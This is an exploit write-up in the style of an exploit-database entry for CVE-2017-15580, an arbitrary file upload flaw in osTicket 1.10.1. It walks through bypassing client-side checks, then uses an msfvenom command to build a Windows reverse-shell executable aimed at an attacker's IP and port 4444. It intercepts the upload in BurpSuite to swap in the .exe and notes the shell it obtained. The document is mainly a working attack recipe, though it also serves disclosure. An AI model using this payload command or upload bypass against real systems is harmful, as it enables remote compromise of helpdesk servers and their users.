osTicket 1.10.1 – Arbitrary File Upload
# Exploit Title: osTicket 1.10.1 - Arbitrary File Upload # Exploit Author: r3j10r (Rajwinder Singh) # Date: 2018-08-08 # Vendor Homepage: http://osticket.com/ # Software Link: http://osticket.com/download # Version: osTicket v1.10.1 # CVE-2017-15580 # Vulnerability Details: # osTicket application provides a functionality to upload 'html' files # with associated formats. However, application does not properly validate # the content of file and accepts any type of files. # Proof-of-Concept: # Uploaded shell to get reverse shell of end user for the demo purpose. 1. Created a valid '.html' file to bypass client-side validations. <html> <title>test</title> <body> <p>test page</p> </body> </html> 2. Created a reverse shell with '.exe' file extension using msfvenom. msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<YOUR IP> LPORT=4444 -b "\x00" -e <encoder> -f exe -o reverse.exe 3. Intercepted the request in BurpSuite and changed file extension '.html' to '.exe' and its content 4. Received a valid response from server along with uploaded malicious file. 5. Got reverse shell after execution of the uploaded payload. # Affected Component: Parameter: tickets.php?id=<ticket_number>#reply |